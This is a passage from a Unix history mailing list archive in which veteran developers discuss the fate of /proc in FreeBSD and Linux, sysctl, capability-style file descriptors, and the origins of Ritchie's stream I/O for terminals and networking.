Intel is mostly that way, although I will say the Macs at Intel sub-group in
IT is one of the best I have ever worked.  I think part of the reason why
they listen to people like me when the rest of IT will let them, is they
are way fewer people than they need to support the few thousand Macs at Intel.
 So, if I call they know something really is fubar, as I would have fixed
it myself it was minor or told them how to fix it for me if I could (needed
some silly IT permission).

Clem
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170925/fab50c94/attachment.html>

From clemc at ccc.com  Tue Sep 26 00:16:11 2017
From: clemc at ccc.com (Clem Cole)
Date: Mon, 25 Sep 2017 10:16:11 -0400
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <1506341239.18395.for-standards-violators@oclsc.org>
References: <1506341239.18395.for-standards-violators@oclsc.org>
Message-ID: <CAC20D2MKMVozxARuwYQ2WgwWYJhfSdyU2t7YP1X5sf5PaTNseA@mail.gmail.com>

On Mon, Sep 25, 2017 at 8:07 AM, Norman Wilson <norman at oclsc.org> wrote:

> ​...​
>
> I too am saddened to see such a retrograde step, but perhaps
> I'm biased.  When I arrived in 1127, the kernel had /proc but
> still had ptrace as well.  Why?  Because no one was brave enough
> to wade into sdb and adb.
>
> ​...
>
>
> I can sympathize with FreeBSD excuse someone cited elsewhere,
> that nobody used the code so it should go--I'm always in favour
> of improving programs by chopping sutff out--but I think the
> decision here was backwards.  The proper answer would have been
> to teach ps et al to use /proc, not to invent a new complex of
> system calls.
>
​+1 that was my point.   If the application code had been available @ UCB
earlier before the proliferation,
I think and /proc has been part of 4.2 or at least 4.3 not 4.4, I think
there would have been a better chance
of it being used.

I also agree about garbage collection, but this is a case where the right
solution would have been to try to get people to use the new interface.​
The problem was ptrace was 'good enough' and there was no incentive so no
one did it.

Mark Litton's thesis was DBX which was being written when 4.2 was being
developed.   If Mark had had /proc the simplicity would have been
compelling.   But once the code was written, it was hard to justify
switching.

It's my same observation about why Fortran still is #1 in the high end of
the business.   It's just not interesting to replace it.

So what I'm asking us to try to do, is not just look at the technology in a
vacuum.   Why was it not interesting to /proc for BSD.   Clearly, Linux
added it (differently than Eighth Edition of course and the 4.4
implementation was much more like V8 that Linux would settle).   People did
do the work to use it.

So why did *BSD not bring those versions of the utilities back?

My >>guess<< while they had added some things (like /proc) it was different
again and we got into the BSD != Linux stuff - which has been the UNIX war
all over again.

Sigh....




>
> I dislike how Linux has tossed information about processes and
> other system-related data into the same namespace (and now that
> there is /sys as well as /proc, I wonder whether it's time to
> divorce them, or even to move /proc into /sys/proc), but the
> general direction of moving things into the file system makes
> sense.

I agree, but let's just create a /sys/proc namespace and try to be
consistent.  Here is a case where I wish *BSD would just pick up the Linux
solution and be done with it.  It's not worth arguing.,​




> I have some qualms about adding more and more code to
> the kernel that just does string processing (making the kernel
> bigger and more complicated, and widening the attack surface
> for bad guys),

​+1​



> though; maybe most of that stuff belongs not in
> the OS proper but in a user-mode program that reads /dev/mem
> and presents as a file system.

​Agree although, I would love to see consistency and moving towards one
namespace & associated API that we all used.​

​
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170925/89194585/attachment.html>

From imp at bsdimp.com  Tue Sep 26 01:13:45 2017
From: imp at bsdimp.com (Warner Losh)
Date: Mon, 25 Sep 2017 09:13:45 -0600
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <CAC20D2MKMVozxARuwYQ2WgwWYJhfSdyU2t7YP1X5sf5PaTNseA@mail.gmail.com>
References: <1506341239.18395.for-standards-violators@oclsc.org>
 <CAC20D2MKMVozxARuwYQ2WgwWYJhfSdyU2t7YP1X5sf5PaTNseA@mail.gmail.com>
Message-ID: <CANCZdfrX3T4TC1QbzhEZPBB8zBXMaWb9_=TVfwTmzUMVKuPjsQ@mail.gmail.com>

On Mon, Sep 25, 2017 at 8:16 AM, Clem Cole <clemc at ccc.com> wrote:

>
>
> On Mon, Sep 25, 2017 at 8:07 AM, Norman Wilson <norman at oclsc.org> wrote:
>
>> ​...​
>>
>> I too am saddened to see such a retrograde step, but perhaps
>> I'm biased.  When I arrived in 1127, the kernel had /proc but
>> still had ptrace as well.  Why?  Because no one was brave enough
>> to wade into sdb and adb.
>>
>> ​...
>>
>>
>> I can sympathize with FreeBSD excuse someone cited elsewhere,
>> that nobody used the code so it should go--I'm always in favour
>> of improving programs by chopping sutff out--but I think the
>> decision here was backwards.  The proper answer would have been
>> to teach ps et al to use /proc, not to invent a new complex of
>> system calls.
>>
> ​+1 that was my point.   If the application code had been available @ UCB
> earlier before the proliferation,
> I think and /proc has been part of 4.2 or at least 4.3 not 4.4, I think
> there would have been a better chance
> of it being used.
>
> I also agree about garbage collection, but this is a case where the right
> solution would have been to try to get people to use the new interface.​
> The problem was ptrace was 'good enough' and there was no incentive so no
> one did it.
>

In the case of procfs and FreeBSD, the issues were more complicated and
nuanced. The original /proc code came from 4.4BSD, and interacted with a
number of kernel subsystems. These subsystems were undergoing evolution at
the time (including a rather concerted rewrite of the VM to unify the
buffer cache). This churn there lead to inevitable changes being needed to
procfs to keep up with the new interfaces and such. Over time, there grew
the feeling that there some something quite wrong with procfs (rightly or
wrongly). There was a belief there were a number of unanticipated security
issues that were lingering in the code, but due to the changes not only in
API to the other sub-systems, but also in semantics. Kernel hackers that
studied the problem came away with an uneasy feeling, but nothing
actionable. This was the back-drop that slowed its adoption into new
utilities in the FreeBSD tree and kept people from wanting to push it
further until these misgivings could be explored and addressed. In the end,
it was easier to have a better understood code base (ptrace) that had an
icky interface over one that was cleaner, but that had clouds over it. As
fewer and fewer things used /proc, it became easier and easier to ignore,
and at some point people started worrying that this code that was basically
unused could be an attack vector on the systems, so it was retired.

It's been a number of years since all this went down, so my memory of it
may be clouded. Plus, I was FreeBSD's security officer for a time, and I'm
purposely not going back to my notes from the time since I promised to keep
all that business confidential (and I'm not exactly sure where they are).
So, there may be the odd detail wrong, or imprecision of language, but the
main thrust is there: new with issues that are hard to quantify, but have
potential for embarrassment should the misgivings bear fruit militates for
staying with the old. It also didn't help there were no strong supporters
willing to stand behind the code, which didn't help with the misgivings.
Had it not exited the tree then, the push to MP would have counted it as a
casualty absent a strong maintainer to make it MP safe.


> Mark Litton's thesis was DBX which was being written when 4.2 was being
> developed.   If Mark had had /proc the simplicity would have been
> compelling.   But once the code was written, it was hard to justify
> switching.
>
> It's my same observation about why Fortran still is #1 in the high end of
> the business.   It's just not interesting to replace it.
>
> So what I'm asking us to try to do, is not just look at the technology in
> a vacuum.   Why was it not interesting to /proc for BSD.   Clearly, Linux
> added it (differently than Eighth Edition of course and the 4.4
> implementation was much more like V8 that Linux would settle).   People did
> do the work to use it.
>
> So why did *BSD not bring those versions of the utilities back?
>
> My >>guess<< while they had added some things (like /proc) it was
> different again and we got into the BSD != Linux stuff - which has been the
> UNIX war all over again.
>

There might have been a bit of that too, but it was background noise. The
misgivings about the code, and the lack of a strong maintainer to cope with
the misgivings drive the decision. No one was there to bar the door when
the grim reaper came.

Sigh....
>
>
>
>
>>
>> I dislike how Linux has tossed information about processes and
>> other system-related data into the same namespace (and now that
>> there is /sys as well as /proc, I wonder whether it's time to
>> divorce them, or even to move /proc into /sys/proc), but the
>> general direction of moving things into the file system makes
>> sense.
>
> I agree, but let's just create a /sys/proc namespace and try to be
> consistent.  Here is a case where I wish *BSD would just pick up the Linux
> solution and be done with it.  It's not worth arguing.,​
>
>

The Linux solution has two barriers to entry though: GPL means the code
can't be shared and even if it could the radically different structures of
the kernel means little could be shared. So it would be, at best a
compatible implementation. There's bits of /proc for linux in the FreeBSD
Linux execution environment, but not the full thing.


> I have some qualms about adding more and more code to
>> the kernel that just does string processing (making the kernel
>> bigger and more complicated, and widening the attack surface
>> for bad guys),
>
> ​+1​
>
>
>
>> though; maybe most of that stuff belongs not in
>> the OS proper but in a user-mode program that reads /dev/mem
>> and presents as a file system.
>
> ​Agree although, I would love to see consistency and moving towards one
> namespace & associated API that we all used.​
>
>

I'm not so sure about that. I hate /dev/kmem solutions to problems, or any
solution that has to have many round-trips between the kernel and userland,
especially on MP systems where locking and consistency issues clash with
the desire for maximum performance...

Warner
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170925/3593a125/attachment.html>

From lm at mcvoy.com  Tue Sep 26 01:18:27 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Mon, 25 Sep 2017 08:18:27 -0700
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <CAC20D2MKMVozxARuwYQ2WgwWYJhfSdyU2t7YP1X5sf5PaTNseA@mail.gmail.com>
References: <1506341239.18395.for-standards-violators@oclsc.org>
 <CAC20D2MKMVozxARuwYQ2WgwWYJhfSdyU2t7YP1X5sf5PaTNseA@mail.gmail.com>
Message-ID: <20170925151827.GP28606@mcvoy.com>

On Mon, Sep 25, 2017 at 10:16:11AM -0400, Clem Cole wrote:
> So what I'm asking us to try to do, is not just look at the technology in a
> vacuum.   Why was it not interesting to /proc for BSD.   Clearly, Linux
> added it (differently than Eighth Edition of course and the 4.4
> implementation was much more like V8 that Linux would settle).   People did
> do the work to use it.

Linux's /proc was hugely different than the AT&T /proc, in a good way in
my opinion.  It's sort of Tcl like :-), everything is a string.  So you
can look at the files with cat.  I think plan 9 went this way as well.

And the Linux /proc did and does so much more than AT&T /proc.  You 
can tune the system, debug the system, here's an example.  You know
something is holding something open, you want to know what.  

	$ ps 
	  PID TTY          TIME CMD
	 2668 pts/8    00:00:00 bash
	14153 pts/8    00:00:00 ps
	$ cd /proc/2668/fd
	$ ls -l
	total 0
	lrwx------ 1 lm lm 64 Sep 23 21:16 0 -> /dev/pts/8
	lrwx------ 1 lm lm 64 Sep 23 21:16 1 -> /dev/pts/8
	lrwx------ 1 lm lm 64 Sep 23 21:16 2 -> /dev/pts/8
	lrwx------ 1 lm lm 64 Sep 23 21:39 255 -> /dev/pts/8

Now isn't that pleasant?  (Yes, I know about lsof).

One could make an argument that for debugging you need a lighter weight
way to get the info, and maybe ptrace is lighter, I dunno.  But for most
stuff the Linux /proc (it's really /system because it's about way way
more than processes) is super pleasant.

> So why did *BSD not bring those versions of the utilities back?
> 
> My >>guess<< while they had added some things (like /proc) it was different
> again and we got into the BSD != Linux stuff - which has been the UNIX war
> all over again.

Yeah, I don't see the two being compat.  They could overlap but when you get
into specific tuning variables they won't match.

I suspect that no /proc in BSD is simple, there wasn't anyone who wanted to
put in the time to evolve it and maintain it.



From imp at bsdimp.com  Tue Sep 26 01:30:48 2017
From: imp at bsdimp.com (Warner Losh)
Date: Mon, 25 Sep 2017 09:30:48 -0600
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <20170925151827.GP28606@mcvoy.com>
References: <1506341239.18395.for-standards-violators@oclsc.org>
 <CAC20D2MKMVozxARuwYQ2WgwWYJhfSdyU2t7YP1X5sf5PaTNseA@mail.gmail.com>
 <20170925151827.GP28606@mcvoy.com>
Message-ID: <CANCZdfoOz5uG=MG2CZaVArJMawum9-ASJwiw9eMxyx7imZYOkg@mail.gmail.com>

On Mon, Sep 25, 2017 at 9:18 AM, Larry McVoy <lm at mcvoy.com> wrote:

> On Mon, Sep 25, 2017 at 10:16:11AM -0400, Clem Cole wrote:
> > So what I'm asking us to try to do, is not just look at the technology
> in a
> > vacuum.   Why was it not interesting to /proc for BSD.   Clearly, Linux
> > added it (differently than Eighth Edition of course and the 4.4
> > implementation was much more like V8 that Linux would settle).   People
> did
> > do the work to use it.
>
> Linux's /proc was hugely different than the AT&T /proc, in a good way in
> my opinion.  It's sort of Tcl like :-), everything is a string.  So you
> can look at the files with cat.  I think plan 9 went this way as well.
>

I both love and hate this setup...


> And the Linux /proc did and does so much more than AT&T /proc.


Which is the other issue with the inherited 4.4 /proc

[...]

> > So why did *BSD not bring those versions of the utilities back?
> >
> > My >>guess<< while they had added some things (like /proc) it was
> different
> > again and we got into the BSD != Linux stuff - which has been the UNIX
> war
> > all over again.
>
> Yeah, I don't see the two being compat.  They could overlap but when you
> get
> into specific tuning variables they won't match.
>

There was very little overlap. And much of what was exported in linux as
/proc/blah was available as a syctl which mean the pressure to expand /proc
was lessened. There's pros and cons to sysctl (which is basically a second
name space for data from/about the kernel), but it was the path taken.
Filesystems can go too far (cf the fiasco of the efivar filesystem where
you could brick your box with an rm -rf, oops), and they can also be taken
not far enough. There's good reasons to avoid filesystems that are
intrusive into every part of the system (sysctl has a more restricted
context to execute in which can be more helpful than trying to cope with
vnodes and such in every driver). There's also bad reasons to avoid
filesystems as well (say because your VFS abstraction layer is complicated
and difficult to use)...

I suspect that no /proc in BSD is simple, there wasn't anyone who wanted to
> put in the time to evolve it and maintain it.
>

That's it in a one line summary. I posted a few more details as well, but
that's basically it. When the time came, nobody cared enough to even
object... Certainly nobody cared enough to understand the complex
interactions with other subsystems as they evolved to keep it up to snuff,
let alone innovate with new things to keep it interesting.

Warner
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170925/881ab619/attachment.html>

From dot at dotat.at  Tue Sep 26 01:36:28 2017
From: dot at dotat.at (Tony Finch)
Date: Mon, 25 Sep 2017 16:36:28 +0100
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <1506297783.59c847b740373@www.paradise.net.nz>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <20170924140617.GG28606@mcvoy.com> <20170924203621.GA80203@wopr>
 <49B7FCB8-A086-4FFB-AF3B-4B3BD167EC54@bitblocks.com>
 <alpine.BSF.2.21.1709250934460.89458@aneurin.horsfall.org>
 <alpine.BSF.2.02.1709241949440.58337@frieza.hoshinet.org>
 <1506297783.59c847b740373@www.paradise.net.nz>
Message-ID: <alpine.DEB.2.11.1709251635490.22527@grey.csi.cam.ac.uk>

Wesley Parish <wes.parish at paradise.net.nz> wrote:

> I once thought of developing a computer where everything from the core
> functions to the peripherals was a network node. In effect replacing the
> bus. I found references to a Cambridge U (UK) computer system that
> purported to do just that but couldn't find any more info on it.

The Desk Area Network, perhaps?
http://www.cl.cam.ac.uk/research/srg/dan.html

Tony.
-- 
f.anthony.n.finch  <dot at dotat.at>  http://dotat.at/  -  I xn--zr8h punycode
Malin, Hebrides: Southeast 3 or 4, increasing 5 or 6, occasionally 7 later in
west. Moderate becoming rough later. Fair. Good.



From dot at dotat.at  Tue Sep 26 01:45:49 2017
From: dot at dotat.at (Tony Finch)
Date: Mon, 25 Sep 2017 16:45:49 +0100
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <20170925005702.38377156E523@mail.bitblocks.com>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <20170924140617.GG28606@mcvoy.com> <20170924203621.GA80203@wopr>
 <49B7FCB8-A086-4FFB-AF3B-4B3BD167EC54@bitblocks.com>
 <alpine.BSF.2.21.1709250934460.89458@aneurin.horsfall.org>
 <20170925005702.38377156E523@mail.bitblocks.com>
Message-ID: <alpine.DEB.2.11.1709251642450.22527@grey.csi.cam.ac.uk>

Bakul Shah <bakul at bitblocks.com> wrote:
>
> I think a few changes can make Unix much more plan9 like.
> Things like: file descriptors are actually capabilities (or
> handles, for short) and each process starts with a set of
> handles and it can only reach those resources that its handles
> allow. It can also gain new handles via operations on existing
> handles. Right here you can see that a process is already
> sandboxed. You don't need containers or jails!

You can opt-in to this way of working by using the capsicum API,
http://www.cl.cam.ac.uk/research/security/capsicum/
but that's really intended for programs to discipline themselves rather
than as something pervasive.

Tony.
-- 
f.anthony.n.finch  <dot at dotat.at>  http://dotat.at/  -  I xn--zr8h punycode
Portland, Plymouth, Biscay: Northwest 4 or 5, becoming variable 3 or 4 later.
Moderate or rough, becoming slight or moderate. Mainly fair. Moderate or good.



From bakul at bitblocks.com  Tue Sep 26 02:14:13 2017
From: bakul at bitblocks.com (Bakul Shah)
Date: Mon, 25 Sep 2017 09:14:13 -0700
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <alpine.DEB.2.11.1709251642450.22527@grey.csi.cam.ac.uk>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <20170924140617.GG28606@mcvoy.com> <20170924203621.GA80203@wopr>
 <49B7FCB8-A086-4FFB-AF3B-4B3BD167EC54@bitblocks.com>
 <alpine.BSF.2.21.1709250934460.89458@aneurin.horsfall.org>
 <20170925005702.38377156E523@mail.bitblocks.com>
 <alpine.DEB.2.11.1709251642450.22527@grey.csi.cam.ac.uk>
Message-ID: <94BE6C6C-9625-4614-A92C-1741A55DA390@bitblocks.com>

I have known about capsicum (& have been a fan of capabilities since
late 70s - even used a form of them in my last job!) but my point was to
suggest unix kernel simplification and something like that may fall out
naturally rather than having to be bolted on. Rather than write an OS
from scratch, incrementally evolve what works. Writing something from
scratch is always easier but you also end up relearning the same
lessons + much harder to get acceptance. But an embrace and extend
model ala C to C++ or what GNU programs have done stands a better
chance. Except that I’m suggesting “extending” by simplifying!

> On Sep 25, 2017, at 8:45 AM, Tony Finch <dot at dotat.at> wrote:
> 
> Bakul Shah <bakul at bitblocks.com> wrote:
>> 
>> I think a few changes can make Unix much more plan9 like.
>> Things like: file descriptors are actually capabilities (or
>> handles, for short) and each process starts with a set of
>> handles and it can only reach those resources that its handles
>> allow. It can also gain new handles via operations on existing
>> handles. Right here you can see that a process is already
>> sandboxed. You don't need containers or jails!
> 
> You can opt-in to this way of working by using the capsicum API,
> http://www.cl.cam.ac.uk/research/security/capsicum/
> but that's really intended for programs to discipline themselves rather
> than as something pervasive.
> 
> Tony.
> -- 
> f.anthony.n.finch  <dot at dotat.at>  http://dotat.at/  -  I xn--zr8h punycode
> Portland, Plymouth, Biscay: Northwest 4 or 5, becoming variable 3 or 4 later.
> Moderate or rough, becoming slight or moderate. Mainly fair. Moderate or good.



From itz at very.loosely.org  Tue Sep 26 02:50:02 2017
From: itz at very.loosely.org (Ian Zimmerman)
Date: Mon, 25 Sep 2017 09:50:02 -0700
Subject: [TUHS] Excessive bouncing ... argh!
In-Reply-To: <alpine.BSF.2.21.1709250941200.89458@aneurin.horsfall.org>
References: <20170921223420.GA27231@minnie.tuhs.org>
 <m27ewprgys.fsf@thuvia.hamartun.priv.no>
 <alpine.BSF.2.21.1709240820060.89458@aneurin.horsfall.org>
 <20170924223247.GA85862@accordion.employees.org>
 <alpine.BSF.2.21.1709250941200.89458@aneurin.horsfall.org>
Message-ID: <20170925165002.tdwakerl473ktp7w@matica.foolinux.mooo.com>

On 2017-09-25 09:43, Dave Horsfall wrote:

> I used to use Procmail, but now it's unsupported, buggy, and quite
> likely vulnerable due to its baroque scripting language; if there was
> a decent replacement then I'd use it.

Any Sieve processor.  3 libre choices I know of, there may be others:

- built in exim MDA

- GNU mailutils

- dovecot

-- 
Please don't Cc: me privately on mailing lists and Usenet,
if you also post the followup to the list or newsgroup.
Do obvious transformation on domain to reply privately _only_ on Usenet.



From imp at bsdimp.com  Tue Sep 26 02:51:42 2017
From: imp at bsdimp.com (Warner Losh)
Date: Mon, 25 Sep 2017 10:51:42 -0600
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <CANCZdfrX3T4TC1QbzhEZPBB8zBXMaWb9_=TVfwTmzUMVKuPjsQ@mail.gmail.com>
References: <1506341239.18395.for-standards-violators@oclsc.org>
 <CAC20D2MKMVozxARuwYQ2WgwWYJhfSdyU2t7YP1X5sf5PaTNseA@mail.gmail.com>
 <CANCZdfrX3T4TC1QbzhEZPBB8zBXMaWb9_=TVfwTmzUMVKuPjsQ@mail.gmail.com>
Message-ID: <CANCZdfobaTGxLkQBJo7Wqvn8NbdQk8uU8SeVyfKR9KTcm-c8iQ@mail.gmail.com>

On Mon, Sep 25, 2017 at 9:13 AM, Warner Losh <imp at bsdimp.com> wrote:

>
>
> On Mon, Sep 25, 2017 at 8:16 AM, Clem Cole <clemc at ccc.com> wrote:
>
>>
>>
>> On Mon, Sep 25, 2017 at 8:07 AM, Norman Wilson <norman at oclsc.org> wrote:
>>
>>> ​...​
>>>
>>> I too am saddened to see such a retrograde step, but perhaps
>>> I'm biased.  When I arrived in 1127, the kernel had /proc but
>>> still had ptrace as well.  Why?  Because no one was brave enough
>>> to wade into sdb and adb.
>>>
>>> ​...
>>>
>>>
>>> I can sympathize with FreeBSD excuse someone cited elsewhere,
>>> that nobody used the code so it should go--I'm always in favour
>>> of improving programs by chopping sutff out--but I think the
>>> decision here was backwards.  The proper answer would have been
>>> to teach ps et al to use /proc, not to invent a new complex of
>>> system calls.
>>>
>> ​+1 that was my point.   If the application code had been available @
>> UCB earlier before the proliferation,
>> I think and /proc has been part of 4.2 or at least 4.3 not 4.4, I think
>> there would have been a better chance
>> of it being used.
>>
>> I also agree about garbage collection, but this is a case where the right
>> solution would have been to try to get people to use the new interface.​
>> The problem was ptrace was 'good enough' and there was no incentive so no
>> one did it.
>>
>
> In the case of procfs and FreeBSD, the issues were more complicated and
> nuanced. The original /proc code came from 4.4BSD, and interacted with a
> number of kernel subsystems. These subsystems were undergoing evolution at
> the time (including a rather concerted rewrite of the VM to unify the
> buffer cache). This churn there lead to inevitable changes being needed to
> procfs to keep up with the new interfaces and such. Over time, there grew
> the feeling that there some something quite wrong with procfs (rightly or
> wrongly). There was a belief there were a number of unanticipated security
> issues that were lingering in the code, but due to the changes not only in
> API to the other sub-systems, but also in semantics. Kernel hackers that
> studied the problem came away with an uneasy feeling, but nothing
> actionable. This was the back-drop that slowed its adoption into new
> utilities in the FreeBSD tree and kept people from wanting to push it
> further until these misgivings could be explored and addressed. In the end,
> it was easier to have a better understood code base (ptrace) that had an
> icky interface over one that was cleaner, but that had clouds over it. As
> fewer and fewer things used /proc, it became easier and easier to ignore,
> and at some point people started worrying that this code that was basically
> unused could be an attack vector on the systems, so it was retired.
>




> It's been a number of years since all this went down, so my memory of it
> may be clouded. Plus, I was FreeBSD's security officer for a time, and I'm
> purposely not going back to my notes from the time since I promised to keep
> all that business confidential (and I'm not exactly sure where they are).
> So, there may be the odd detail wrong, or imprecision of language, but the
> main thrust is there: new with issues that are hard to quantify, but have
> potential for embarrassment should the misgivings bear fruit militates for
> staying with the old. It also didn't help there were no strong supporters
> willing to stand behind the code, which didn't help with the misgivings.
> Had it not exited the tree then, the push to MP would have counted it as a
> casualty absent a strong maintainer to make it MP safe.
>

OK. I've done some software archeology and the above isn't quite right.
Sorry for the misinformation.

FreeBSD still has /proc. It's still actively maintained.

We removed /proc from the default kernel and installation years ago due to
security concerns (and not just misgivings, there were several SAs in that
area). I was remembering the 'opt-in' discussions... Should have consulted
the notes...

The ctl interface in the referenced commit message is part of the debugging
interface. It wasn't as feature rich as gdb, and nothing used it so it was
removed. There's other parts of the debugging interface that still persist,
but those are in the process of being de-orbited. There are several
debuggers that use the ptrace interface, and making them all use /proc was
seen as rowing against the tide and not completely useful since /proc
wasn't enabled by default due to security concerns.

The rest of /proc is still around, but you have to really want it.

Kinda highlights, though, problems with the kitchen-sink approach. There's
bits of /proc that are quite useful, but since it was so expansive, it
represented a big security threat and so is off by default.

Warner
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170925/8b7d7171/attachment.html>

From norman at oclsc.org  Tue Sep 26 03:57:06 2017
From: norman at oclsc.org (Norman Wilson)
Date: Mon, 25 Sep 2017 13:57:06 -0400
Subject: [TUHS] Sockets and the true UNIX
Message-ID: <1506362230.23809.for-standards-violators@oclsc.org>

Clem Cole:

  It was never designed for it.  dmr designed Streams to replace the
  tty handler.   I never understood  why the Summit guys insisted on
  forcing networking into it.

======

You've mistaken.  The point of the stream I/O setup with
stackable line disciplines, rather than the old single
line-discipline switch, was specifically to support networking
as well as tty processing.

Serial-device drivers in V7 used a single line-discipline
driver, used variously for canonical-tty handling and for
network protocols.  The standard system as used outside
the labs had only one line discipline configured, with
standard tty handling (see usr/sys/conf/c.c).  There were
driver source files for what I think were internal-use-only
networks (dev/pk[12].c, perhaps), but I don't think they
were used outside AT&T.

The problem Dennis wanted to solve was that tty handling
and network protocol handling interfered with one another;
you couldn't ask the kernel to do both, because there was
only one line discipline at a time.  Hence the stackable
modules.  It was possible to duplicate tty handling (probably
by placing calls to the regular tty line discipline's innards)
within the network-protocol code, but that was messy.  It also
ran into trouble when people wanted to use the C shell, which
expected its own special `new tty' line discipline, so the
network code would have to know which tty driver to call.
It made more sense to stack the modules instead, so the tty
code was there only if it was needed, and different tty
drivers could exist without the network code knowing or caring.

When I arrived at the Labs in 1984, the streams code was in
use daily by most of us in 1127.  The terminals on our desks
were plugged into serial ports on Datakit (like what we call
a terminal server now).  I would turn on my terminal in the
morning, tell the prompt which system I wanted to connect to,
and so far as I could tell I had a direct serial connection.
But in the remote host, my shell talked to an instance of the
tty line module, which exchanged data with a Datakit protocol
module, which exchanged data with the low-level Datakit driver.
If I switched to the C shell (I didn't but some did), csh would
pop off the tty module and push on the newtty module, and the
network code was none the wiser.

Later there was a TCP/IP that used the stream mechanism.  The
first version was shoehorned in by Robert T Morris, who worked
as a summer intern for us; it was later cleaned up considerably
by Paul Glick.  It's more complicated because of all the
multiplexers involved (Ethernet packets split up by protocol
number; IP packets divided by their own protocol number;
TCP packets into sessions), but it worked.  I still use it at
home.  Its major flaw is that details of the original stream
implementation make it messy to handle windows of more than
4096 bytes; there are also some quirks involving data left in
the pipe when a connection closes, something Dennis's code
doesn't handle well.

The much-messier STREAMS that came out of the official System
V people had fixes for some of that, but at the cost of quite
a bit more complexity; it could probably be done rather better.
At one point I wanted to have a go at it, but I've never had
the time, and now I doubt I ever will.

One demonstration of virtue, though: although Datakit was the
workhorse network in Research when I was there (and despite
the common bias against virtual circuits it worked pretty well;
the major drawback was that although the underlying Datakit
fabric could run at multiple megabits per second, we never had
a host interface that could reliably run at even a single megabit),
we did once arrange to run TCP/IP over a Datakit connection.
It was very simple in concept: make a Datakit connection (so the
Datakit protocol module is present); push an IP instance onto
that stream; and off you go.

I did something similar in my home V10 world when quickly writing
my own implementation of PPP from the specs many years ago.
The core of that code is still in use in my home-written PPPoE code.
PPP and PPPoE are all outside the kernel; the user-mode program
reads and writes the serial device (PPP) or an Ethernet instance
that returns just the desired protocol types (PPPoE), does the
PPP processing, and reads and writes IP packets to a (full-duplex
stream) pipe on the other end of which is pushed the IP module.

All this is very different from the socket(2) way of thinking,
and it has its vices, but it also has its virtues.

Norman Wilson
Toronto ON



From clemc at ccc.com  Tue Sep 26 04:55:10 2017
From: clemc at ccc.com (Clem Cole)
Date: Mon, 25 Sep 2017 14:55:10 -0400
Subject: [TUHS] Sockets and the true UNIX
In-Reply-To: <1506362230.23809.for-standards-violators@oclsc.org>
References: <1506362230.23809.for-standards-violators@oclsc.org>
Message-ID: <CAC20D2NWgL2Dn3ceDOW6jgybOM_nS5YAT8tJy9Xohv0rG18eDQ@mail.gmail.com>

Norman - thanks - fair enough, but I stand by my original statement.

Greg, Dennis, Presetto, Sam and couple of others spent an evening
discussing it all at USENIX one night; early before Dennis has finished the
original implementation.    I'm very much sure, that while it was used for
networking, the TTY handler and low speed I/O was the driver.

On Mon, Sep 25, 2017 at 1:57 PM, Norman Wilson <norman at oclsc.org> wrote:

> Clem Cole:
>
>   It was never designed for it.  dmr designed Streams to replace the
>   tty handler.   I never understood  why the Summit guys insisted on
>   forcing networking into it.
>
> ======
>
> You've mistaken.

​Maybe -- its possible, but as I said, I certainly talked to Dennis and
Greg about this at length.​  It was a hot topic a number of times.   Greg
could get sort of animated ;-)




>   The point of the stream I/O setup with
> stackable line disciplines, rather than the old single
> line-discipline switch, was specifically to support networking
> as well as tty processing.
>

TTY, I 100% agree - this was exactly the problem that was trying to be
solved. - being able to handle networking was a side effect.

>
> ​...
>
>
> The problem Dennis wanted to solve was that tty handling
> and network protocol handling interfered with one another;
> you couldn't ask the kernel to do both, because there was
> only one line discipline at a time.

​This was an issue, but  don't think this was as important as...
the desire for stackable so we could mix and match line disc​iplines period.




> Hence the stackable
> ​ ​
> modules.

​Right ...  that was a driver ....​



> ​...
>  which
> expected its own special `new tty' line discipline, so the
> network code would have to know which tty driver to call.
> It made more sense to stack the modules instead, so the tty
> code was there only if it was needed, and different tty
> drivers could exist without the network code knowing or caring.
>
​Exactly....​



>
> When I arrived at the Labs in 1984, the streams code was in
